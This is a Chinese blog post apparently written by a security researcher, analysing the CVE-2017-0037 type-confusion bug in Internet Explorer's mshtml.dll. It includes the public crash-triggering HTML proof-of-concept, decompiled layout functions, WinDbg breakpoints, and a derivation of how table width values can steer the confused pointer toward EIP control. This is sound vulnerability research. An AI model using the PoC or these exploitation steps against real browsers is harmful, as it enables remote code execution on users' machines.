最近在用WinAFL，看到作者ifratric在2017年利用winafl发现了CVE-2017-0037这个洞， 类型是type confusion，没分析过这种类型的洞，并且在分析恶意代码时遇到过，但是并没有分析具体原因，所以就自己动手复现了一下，详细的捋了一下整个流程
环境搭建
浏览器环境
开启页堆
为了便于分析并在分析中节省时间，建议将symbol path设置在共享目录里，附加过后设置一个快照
漏洞分析
首先利用ifratric给出的PoC进行测试
<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>
结果
崩溃调用栈
分析HandleColumnBreakOnColumnSpanningElement函数
signed int __fastcall Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement(Layout::ContainerBoxBuilder *a1, Tree::ANode *a2, int a3)
{
int v3; // esi
Layout::ContainerBoxBuilder *v4; // eax
int v5; // ecx
int v6; // ecx
bool v7; // zf
Layout::ContainerBoxBuilder *v8; // ebx
int v9; // eax
Tree::ANode *v10; // eax
Tree::ANode *v11; // edi
char v13; // al
int v14; // eax
int v15; // eax
_DWORD *v16; // ebx
_DWORD *v17; // eax
char v18; // al
int v19; // eax
int v20; // [esp+0h] [ebp-2Ch]
char v21; // [esp+Ch] [ebp-20h]
Tree::ANode *v22; // [esp+14h] [ebp-18h]
_DWORD *v23; // [esp+18h] [ebp-14h]
int *v24; // [esp+1Ch] [ebp-10h]
int v25; // [esp+20h] [ebp-Ch]
Layout::ContainerBoxBuilder *v26; // [esp+24h] [ebp-8h]
bool v27; // [esp+2Bh] [ebp-1h]
v22 = a2;
v3 = 0;
v4 = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(a1);
v6 = *(_DWORD *)(v5 + 16);
v7 = *(_DWORD *)(v6 + 136) == 0;
v25 = *(_DWORD *)(v6 + 12);
v27 = v7;
while ( 1 )
{
v8 = v4;
v26 = v4;
if ( !v4 )
return 0;
if ( Layout::LayoutBoxBuilder::IsMultiColumnBoxBuilder(v4) )
{
if ( v8 )
{
v9 = *((_DWORD *)v8 + 131);
if ( v9 == 1 || v9 == 2 || v9 == 4 )
{
v10 = Layout::MultiColumnBoxBuilder::LastColumnSpanningElement(v8);
v11 = v22;
if ( v10 == v22 || v10 && Tree::ANode::StartsBefore(v22, v10) )
return 2;
if ( !(*((_BYTE *)v8 + 576) & 1) )
{
SP<Tree::ElementNode>::operator=((char *)v8 + 560, v11);
*((_DWORD *)v8 + 141) = v3 + a3;
*((_BYTE *)v8 + 568) ^= (v27 ^ *((_BYTE *)v8 + 568)) & 1;
return 1;
}
}
}
return 0;
}
v13 = (*(int (__thiscall **)(Layout::ContainerBoxBuilder *))(*(_DWORD *)v8 + 84))(v26);
if ( &v20 != &v20 )
__fastfail(4u);
if ( v13 )
{
v14 = (*(int (__thiscall **)(Layout::ContainerBoxBuilder *, char *))(*(_DWORD *)v26 + 88))(v26, &v21);
if ( &v20 != &v20 )
__fastfail(4u);
v3 += *(_DWORD *)(v14 + 4);
}
if ( v27 )
{
v15 = *((_DWORD *)v26 + 4); // TableGridBoxBuilder
v16 = *(_DWORD **)(v15 + 136); // TableGridBox
v23 = *(_DWORD **)(v15 + 136);
if ( !*(_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23) )
goto LABEL_35;
v17 = (_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v16);
v24 = &v20;
v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)*v17 + 0x1A4))(*v17);
if ( v24 != &v20 )
__fastfail(4u);
if ( v18
&& (v19 = Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23),
*(_DWORD *)(*(_DWORD *)v19 + 12) == v25) )
{
LABEL_35:
v27 = 1;
}
else
{
v27 = 0;
}
}
v25 = *(_DWORD *)(*((_DWORD *)v26 + 4) + 12);
v4 = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(v26);
}
}
可以发现通过函数Layout::ContainerBoxBuilder::ParentContainerBoxBuilder，循环处理元素，为了清楚到底是怎么处理的，将所有的处理结果打印处理出来
// mshtml.dll x86
bu 663DBF61 ".printf "###BeforeWhile=> 参数(ecx): "; dps ecx L1; .printf " 返回值(ecx+0x14): "; dps poi(ecx+0x14) L1;g"
bu 6669FCE4 ".printf "###InWhile=> 参数(ecx): "; dps ecx L1; .printf " 返回值(ecx+0x14): "; dps poi(ecx+0x14) L1;g"
结果
最后一次的返回值，是一个TableGridBoxBuilder类型，在转换中出错
可以看到最终出错是在将TableGridBoxBuilder转换到SGridBoxItem的过程
v15 = *((_DWORD *)v26 + 4); // 获得TableGridBoxBuilder对象
v16 = *(_DWORD **)(v15 + 136); // TableGridBox
v23 = *(_DWORD **)(v15 + 136);
if ( !*(_DWORD *)Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(v23) ) // 转换出错
既然出错在TableGridBoxBuilder对象上，那就来看看TableGridBoxBuilder对象是如何生成的，其生成涉及到三个主要函数
Layout::TableGridBoxBuilder::TableGridBoxBuilder
Layout::TableGridBoxBuilder::Constructor
Layout::TableGridBoxBuilder::CreateTableGridBoxBuilder
首先其构造函数
Layout::TableGridBox *__thiscall Layout::TableGridBox::TableGridBox(Layout::TableGridBox *this, struct Tree::ElementNode *a2, struct Layout::ContainerBoxBuilder *a3, bool a4, bool a5, struct Layout::ScrollState *a6)
{
Layout::TableGridBox *v6; // esi
_DWORD *v7; // edi
int v8; // eax
Layout::TableGridBox *v9; // esi
char v11; // [esp+Ch] [ebp-10h]
Layout::TableGridBox *v12; // [esp+18h] [ebp-4h]
v6 = this;
v12 = this;
Layout::ContainerBox::ContainerBox(this, a2, a3, a4, a5, a6);
*(_DWORD *)v6 = &Layout::TableGridBox::`vftable';
v7 = (_DWORD *)((char *)v6 + 164);
*((_DWORD *)v6 + 34) = 0; // readable 读取对象(34*4=136)
*((_DWORD *)v6 + 35) = 0; // readable 返回对象
*((_DWORD *)v6 + 36) = 0;
*((_DWORD *)v6 + 37) = 0;
*((_DWORD *)v6 + 38) = 0;
*((_DWORD *)v6 + 39) = 0;
*((_DWORD *)v6 + 40) = 0;
*v7 = 0;
v7[1] = 0;
v7[2] = 0;
v7[3] = 0;
*((_DWORD *)v6 + 47) = 0;
*((_DWORD *)v6 + 48) = 0;
*((_DWORD *)v6 + 49) = 0;
*((_DWORD *)v6 + 50) = 0;
*((_DWORD *)v6 + 51) = 0;
*((_DWORD *)v6 + 52) = 0;
*((_DWORD *)v6 + 53) = 0;
*v7 = Math::SRectangle::Empty;
*((_DWORD *)v6 + 42) = *(&Math::SRectangle::Empty + 1);
*((_DWORD *)v6 + 43) = *(&Math::SRectangle::Empty + 2);
*((_DWORD *)v6 + 44) = *(&Math::SRectangle::Empty + 3);
*((_BYTE *)v6 + 216) &= 0xFEu;
*((_DWORD *)v6 + 45) = 0;
*((_DWORD *)v6 + 46) = 0;
v8 = Layout::LayoutBox::ComputedStyle(v6, &v11);
v9 = v12;
*((_BYTE *)v9 + 134) ^= ((*(_BYTE *)(*(_DWORD *)v8 + 1115) >> 5) & 1 ^ *((_BYTE *)v12 + 134)) & 1;
SP<Layout::FlexBoxBuilderRow>::operator=(0);
return v9;
}
可以看到这里构造了一个空对象，再看CreateTableGridBoxBuilder函数，这个是理解整个过程很重要的函数，为了看的更加清晰一点，我截图+注释
在Layout::TableGridBox::InitializeColumnData中初始化了TableGridBox对象，跟踪进入
在Layout::TableGridBoxBuilder::Constructor中
再跟进Layout::ContainerBoxBuilder::Constructor
捋一下，大概的关系是这样的
TableGridBoxBuilder
|
|--> +4 =>存储 TableGrideBox
|
|--> +136 => 得到Array<Math::SLayoutMeasure>数组
再回到Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement函数，出错的情况下，各个对象是这样的
上面的整个过程是我们理论分析出来的，看看实际执行情况，是不是这样
创建数组这里，windbg符号发生了错误，可以通过IDA看一下真正的函数
可以发现，我们理论推测的和实际执行情况是一致的。出错的原因是，由于参数是个数组，但是Readable把它当成对象，导致Type Confusion。
出错的具体原因找到了，来看看能不能利用，接下来分析一下攻击面，看看通过控制哪个参数，能够控制EIP
利用构建
再来看一下出错附近的函数使用情况
其中有一个虚表函数调用，可以发现我们只要能够控制ArrayObject_1+4位置的值，就可以造成命令执行。
整体的过程大概是这样的
TableGridBoxBuilder
|
|--> +4 =>存储 TableGrideBox
|
|--> +136 存储ArrayObject_1
|
|-> +4 存储p_vftable
|
|-> +0x1A4 存储一个虚表函数
如果想控制p_vftable，就需要控制ArrayObject_1，然而ArrayObject_1是在TableGrideBox初始化函数Layout::TableGridBox::InitializeColumnData初始化的。
可以看到数组中的值，来自于TableBoxBuilder的对象+165位移处。为了不产生歧义，这里为以后的分析，解释一下，165是双字表示的，换成字节表示，位移应该是660/0x294。
这里我们需要分析一下TableBoxBuilder+165处的具体数据，其实就像我们上面分析TableGridBoxBuilder一样。
与其相关的构建函数
Layout::TableBoxBuilder::TableBoxBuilder
Layout::TableBoxBuilder::CreateTableBoxBuilder
Layout::TableBoxBuilder::Constructor
经过多次分析，其实可以直接猜到会利用这三个函数进行构建，所以根据上面的分析，直接看Layout::TableBoxBuilder::CreateTableBoxBuilder
跟进Constructor
通过两处标注出来的地方，发现TableBoxBuilderObject，在中途被改变了，动态跟踪一下
确实被改变了，说明通过直接分析TableBoxBuilder对象的方式，分析出TableBoxBuilder+0x294位移处的数据有点不太方便，这里先暂时放一放，如果别的方法不行的话，再来分析这个。
换一种方法，直接再次分析Layout::TableGridBox::InitializeColumnData
ArrayObject = (Layout::TableGridBox *)((char *)TableGridBoxObject + 136);
v5 = *(_DWORD *)(*((_DWORD *)v4 + 7) + 80) + 1;
v6 = Array<Math::SLayoutMeasure>::Create((int *)&v12, v5);
SArray<enum Tree::BorderSideEnum>::operator=((_DWORD *)TableGridBoxObject + 34, v6);// 将数组v6赋值给TableGridBoxObject+136位置(readable读取对象->数组)
v7 = 0;
if ( !*((_DWORD *)TableGridBoxObject + 34) )
goto LABEL_18;
if ( !(*((_BYTE *)TableGridBoxObject + 132) & 8) )
{
index = 0;
if ( v5 > 0 )
{
ArrayObject_copy = ArrayObject;
do
{
*(_DWORD *)(*ArrayObject_copy + 4 * index) = *(_DWORD *)(*((_DWORD *)TableBoxBuildObject + 165) + 4 * index); // 跟踪TableBoxBuilder对象的构建过程
++index;
}
while ( index < v5 );
TableGridBoxObject = v14;
v7 = 0;
}
}
对应的反汇编
可以发现ebx+0x294位置存放的结构，存储着我们需要的数据，利用堆跟踪数据来源
通过分析堆的来源，到这里可以发现，其实可以根据更改width去影响最后出错位置，指向shellcode，到这里正常来说，我感觉就可以去分析利用过程了。但是，这是我第一次分析浏览器方面的漏洞，想深入分析一下，接着分析。这个过程对于我这种第一次分析的人来说，特别困难，基本用了一周多所有的业余时间来做这个。
首先根据堆的提示，来看一下相关代码
在这里分析的过程中，走了一点弯路，起初在看伪码时，有点摸不着头脑，想了很久，想分析的方法。之后在这里没有找到出路，就再次回头去分析TableBoxBuilder+0x294的事。
其实这里可以一直往下分析的，最后也可以成功找到具体数据生成的方法，而且还会少走很多的弯路！
先来介绍我走的弯路，其中有很多分析的方法和经验还是很好的
跟踪TableBoxBuilder+0x294数据
在TableBoxBuilder对应的空间被创建后下断点，断下来后，在+0x294被写入时，再次下写入断点
bu 66146DF8 ".echo ======Change 0x294 Data======;r @$t0=eax; bc 1; ba w1 @$t0+0x294 "dd poi(@$t0+0x294) L4;r eip;kb; g";g"
结果
在Layout::TableBoxBuilder::InitializeBoxSizing中
+0x294被a4+0xc改变了，所以再回溯，进入Layout::FlowBoxBuilder::OnChildBoxEntry函数，这个函数特别长，只截取用到的部分
可以发现[FloBoxBuilder+136]+0xc的值存储了TableBoxBuilder+0x294的值。为了分析FlowBoxBuilder，我又分析了FlowBoxBuilder的结构，这个过程比较恶心，很复杂，只说个结果吧
CreateTableBoxBuilder+136
|
| => TableBoxBuilder+0x294
|
| => (FlowBoxBuilder+0x114)+0xc
其中
FlowBoxBuilder+0x114
|
| => 存储 SBoxModel
|
| => +0xc 存储 Layout::STableBoxSizeCalculator + 0x4数据
最终的结果是Layout::STableBoxSizeCalculator+0x4中存储了我们最终的数组。
Layout::STableBoxSizeCalculator *__thiscall Layout::STableBoxSizeCalculator::STableBoxSizeCalculator(Layout::STableBoxSizeCalculator *this, int a2, int a3, int a4)
{
Layout::STableBoxSizeCalculator *v4; // edi
int v5; // ecx
v4 = this;
*(_DWORD *)this = 0;
*((_DWORD *)this + 1) = 0;
*((_DWORD *)this + 2) = 0;
*((_DWORD *)this + 3) = 0;
*((_DWORD *)this + 4) = 0;
*((_DWORD *)this + 5) = 0;
*((_DWORD *)this + 6) = 0;
SArray<Layout::GridBlockTrackCollection::SRange>::operator=(this, (int)this);
SArray<Layout::GridBlockTrackCollection::SRange>::operator=((_DWORD *)v4 + 1, v5);
*((_DWORD *)v4 + 2) = 0;
*((_DWORD *)v4 + 3) = 0;
*((_DWORD *)v4 + 4) = 0;
*((_DWORD *)v4 + 5) = 0;
*((_DWORD *)v4 + 6) = 0;
Layout::STableBoxSizeCalculator::CalculateTableUsedWidth(v4, a2, a3, a4);
return v4;
}
而在Layout::STableBoxSizeCalculator::CalculateTableUsedWidth中，更改了+0x4位置的数据
void __thiscall Layout::STableBoxSizeCalculator::CalculateTableUsedWidth(Layout::STableBoxSizeCalculator *this, int a2, int a3, int a4)
{
Layout::STableBoxSizeCalculator *v4; // edi
struct Tree::TableGridBlock *v5; // ebx
int v6; // esi
char v7; // [esp+Ch] [ebp-28h]
char v8; // [esp+14h] [ebp-20h]
int v9; // [esp+18h] [ebp-1Ch]
int v10; // [esp+24h] [ebp-10h]
int v11; // [esp+28h] [ebp-Ch]
int v12; // [esp+2Ch] [ebp-8h]
v4 = this;
v5 = *(struct Tree::TableGridBlock **)(a2 + 28);
Tree::TableGridBlock::EnsureTableStructureRelatedFormatsAreReadyToUse(*(Tree::TableGridBlock **)(a2 + 28));
Layout::STableBoxSizeCalculator::STableWidthCalculator::STableWidthCalculator(&v7, a2, a3, a4);
*((_DWORD *)v4 + 2) = v11;
*((_DWORD *)v4 + 3) = v9;
*((_DWORD *)v4 + 4) = v10;
Layout::STableBoxSizeCalculator::CalculateColumnUsedWidthAndOffset(// 改变值
v4,
v5,
(enum System::MemoryAllocationResultEnum *)&v12);
if ( v12 )
{
v6 = 0;
for ( *((_DWORD *)v4 + 6) = 0; v6 < *((_DWORD *)v5 + 13); ++v6 )
{
if ( v6 >= *((_DWORD *)v5 + 20) + 1 )
break;
if ( Tree::TableGridBlock::IsColumnVisibilityCollapse(v5, v6) )
*((_DWORD *)v4 + 6) += *((_DWORD *)v4 + 4) + *(_DWORD *)(*(_DWORD *)v4 + 4 * v6);
}
*((_DWORD *)v4 + 5) = *((_DWORD *)v4 + 3) + *((_DWORD *)v4 + 2);
}
SP<Layout::PageCollectionItem>::~SP<Layout::PageCollectionItem>((System::SmartObject **)&v8);
}
而其调用的函数Layout::STableBoxSizeCalculator::CalculateColumnUsedWidthAndOffset更改了目标值
可以看到v14影响着最终结果数组，而v14又被v13所更改，跟踪Layout::STableBoxSizeCalculator::STableColumnDistributor::STableColumnDistributor
Layout::STableBoxSizeCalculator::STableColumnDistributor *__thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::STableColumnDistributor(_DWORD *this, int a2, int a3, _DWORD *a4)
{
Layout::STableBoxSizeCalculator::STableColumnDistributor *v4; // ebx
_DWORD *v5; // edi
int *v6; // eax
char v8; // [esp+10h] [ebp-4h]
v4 = (Layout::STableBoxSizeCalculator::STableColumnDistributor *)this;
*this = 0;
v5 = this + 2;
this[1] = 0;
this[2] = 0;
this[6] = 0;
this[7] = 0;
this[9] = 0;
this[10] = 0;
this[11] = 0;
this[12] = 0;
this[13] = 0;
this[14] = 0;
*a4 = 1;
SP<Collections::GrowingItemListNode<SP<Tree::TableCellBlock>>>::operator=(this, a2);
*((_DWORD *)v4 + 1) = a3;
*((_DWORD *)v4 + 3) = 0;
*((_DWORD *)v4 + 4) = 0;
*((_DWORD *)v4 + 5) = 0;
*((_DWORD *)v4 + 6) = 0;
*((_DWORD *)v4 + 7) = 0;
*((_DWORD *)v4 + 11) = 0;
*((_DWORD *)v4 + 9) = 0;
*((_DWORD *)v4 + 10) = 0;
*((_DWORD *)v4 + 12) = 0;
*((_DWORD *)v4 + 13) = 0;
*((_DWORD *)v4 + 14) = 0;
*((_DWORD *)v4 + 8) = 0;
*((_DWORD *)v4 + 15) = 0;
*((_DWORD *)v4 + 16) = 0;
v6 = Array<Math::SLayoutMeasure>::Create((int *)&v8, *(_DWORD *)(a2 + 80) + 1);
SArray<enum Tree::BorderSideEnum>::operator=(v5, v6);
if ( *v5 )
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth(v4);
else
*a4 = 0;
return v4;
}
其值被Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth更改
void __thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsUsedWidth(Layout::STableBoxSizeCalculator::STableColumnDistributor *this)
{
Layout::STableBoxSizeCalculator::STableColumnDistributor *v1; // esi
Layout::STableBoxSizeCalculator::STableColumnDistributor *v2; // ecx
Layout::STableBoxSizeCalculator::STableColumnDistributor *v3; // ecx
int v4; // [esp+4h] [ebp-4h]
v1 = this;
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateColumnsTotalMinMaxWidths(this);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePercentColumnsTotalUsedWidth(v1);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePercentColumnsUsedWidth(v1, &v4);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateNonPercentColumnsUsedWidth(v1, v4);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelAndAutoColumnsTotalWidth(v1);
Layout::STableBoxSizeCalculator::STableColumnDistributor::DeterminePixelAndAutoColumnsDistributionMethod(v2);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculateAutoColumnsUsedWidth(v3);
Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelColumnsUsedWidth(v1); // 改变值函数
Layout::STableBoxSizeCalculator::STableColumnDistributor::DistributeRoundingErrors(v1);
}
根据反复调试，最后更改数据的函数在这里
void __thiscall Layout::STableBoxSizeCalculator::STableColumnDistributor::CalculatePixelColumnsUsedWidth(Layout::STableBoxSizeCalculator::STableColumnDistributor *this)
{
Layout::STableBoxSizeCalculator::STableColumnDistributor *v1; // edi
int v2; // ebx
int v3; // eax
int v4; // ecx
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // eax
int v9; // esi
int v10; // esi
_DWORD **v11; // eax
int v12; // edi
_DWORD *v13; // eax
_DWORD *v14; // eax
int v15; // [esp+Ch] [ebp-24h]
int v16; // [esp+10h] [ebp-20h]
int v17; // [esp+18h] [ebp-18h]
char v18; // [esp+1Ch] [ebp-14h]
char v19; // [esp+20h] [ebp-10h]
char v20; // [esp+24h] [ebp-Ch]
Layout::STableBoxSizeCalculator::STableColumnDistributor *v21; // [esp+28h] [ebp-8h]
int v22; // [esp+2Ch] [ebp-4h]
v1 = this;
v2 = 0;
v21 = this;
if ( *((_DWORD *)this + 3) > 0 )
{
v3 = *((_DWORD *)this + 16);
v4 = *(_DWORD *)(*(_DWORD *)this + 80) + 1;
v22 = *(_DWORD *)(*(_DWORD *)v1 + 80) + 1;
v5 = v3 - 1;
if ( v5 )
{
v6 = v5 - 1;
if ( v6 )
{
v7 = v6 - 1;
if ( v7 )
{
if ( v7 == 1 )
{
v8 = 0;
v9 = *((_DWORD *)v1 + 11) - *((_DWORD *)v1 + 7);
v21 = 0;
if ( v4 > 0 )
{
do
{
Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v8);
if ( v17 && v17 == 1 )
{
if ( *((_DWORD *)v1 + 7) <= 0 )
v14 = Math::SLayoutMeasure::MulDivQuickRound(&v19, v9, 1, *((_DWORD *)v1 + 3));
else
v14 = Math::SLayoutMeasure::MulDivQuickRound(&v20, v9, v16, *((_DWORD *)v1 + 7));
*(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * (_DWORD)v21) = v16 + *v14;
}
v8 = (int)v21 + 1;
v21 = (Layout::STableBoxSizeCalculator::STableColumnDistributor *)v8;
}
while ( v8 < v22 );
}
}
}
else
{
v10 = *((_DWORD *)v1 + 7) - *((_DWORD *)v1 + 6);
v11 = (_DWORD **)v21;
v12 = *((_DWORD *)v1 + 11) - *((_DWORD *)v21 + 6);
if ( v4 > 0 )
{
do
{
Tree::TableGridBlock::ColumnMeasure(*v11, &v15, v2);
if ( v17 && v17 == 1 )
{
v13 = Math::SLayoutMeasure::MulDivQuickRound(&v18, v12, v16 - v15, v10);
*(_DWORD *)(*((_DWORD *)v21 + 2) + 4 * v2) = v15 + *v13;
}
v11 = (_DWORD **)v21;
++v2;
}
while ( v2 < v22 );
}
}
}
else if ( v4 > 0 )
{
do
{
Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v2);// 更改v16
if ( v17 && v17 == 1 )
*(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * v2) = v16;// 改变值的循环
++v2;
}
while ( v2 < v22 );
}
}
else if ( v4 > 0 )
{
do
{
Tree::TableGridBlock::ColumnMeasure(*(_DWORD **)v1, &v15, v2);
if ( v17 && v17 == 1 )
*(_DWORD *)(*((_DWORD *)v1 + 2) + 4 * v2) = v15;
++v2;
}
while ( v2 < v22 );
}
}
}
v16被v15更改，跟进
_DWORD *__thiscall Tree::TableGridBlock::ColumnMeasure(_DWORD *this, _DWORD *a2, int index)
{
_DWORD *result; // eax
_DWORD *v4; // esi
if ( this[16] && index < this[17] )
{
result = a2;
v4 = (_DWORD *)(this[16] + 16 * index);
*a2 = *v4;
++v4;
a2[1] = *v4; // 被赋予this[16] + 16 * index指向值
++v4;
a2[2] = *v4;
a2[3] = v4[1];
}
else
{
Tree::STableColumnMeasure::STableColumnMeasure(a2, 0, 0, 0, 0);
result = a2;
}
return result;
}
之后回退，看看传进来的值什么时候改变的，最终回退到这里
传进来的ebp-50h竟然在sub esp,54h就有了初始值
这么一来，根据我有限的经验(虽然有，但是我真的没找到)，就无法再追踪数据了。其实在调试的过程中，能够知道数组的长度是和colspan有关的，但是不知道width和最终的结果有着什么样的数据关系。至少从逆向的角度，我还没有想到好的办法。
期间看了k0shl牛的文章说Layout::ContainerBoxBuilder::ComputeBoxModelForChildWithUsedWidth完成了width*100，但是分析了这个函数也没有找到。
所以在尝试了很长时间的调试之后，我开始想了别的方法。
从纯数学的角度考虑，假设输入输出是线性关系
input (线性变化)=> output
因为目前已知结果只和width有关，所以假设结果和输入是一元一次的线性关系，并设置colspan为0
a*input_1 + b = output_1
a*input_2 + b = output_2
结果为a=100,b=200，测试一个数据input_1=50，计算结果为0x1450
至此，整个关系捋清楚了，我们可以通过堆喷，从而控制EIP，但是在利用的过程中发现，只用CVE-2017-0037没有办法直接绕过win7下的ASLR+DEP，还需要一个内存泄露的洞来形成利用链才行。所以打算下篇分析CVE-2017-0059，这个洞由于UAF导致的内存泄露，正好结合这个洞，形成一个完整的利用链。到时再给出完整的exploit。但是还有很多fuzzing结果需要分析，可能会稍微慢点：）。
总结
第一次分析浏览器相关的漏洞，可能是难度比较大，导致这个洞的分析资料比较少，中文的也就k0shl大牛的分析还算详细，但是很多跳跃太大了，要想连贯起来，作为新手还要花费很多时间去不断调试。分析过程很痛苦，但是收获也很大。
最后欢迎批评指正。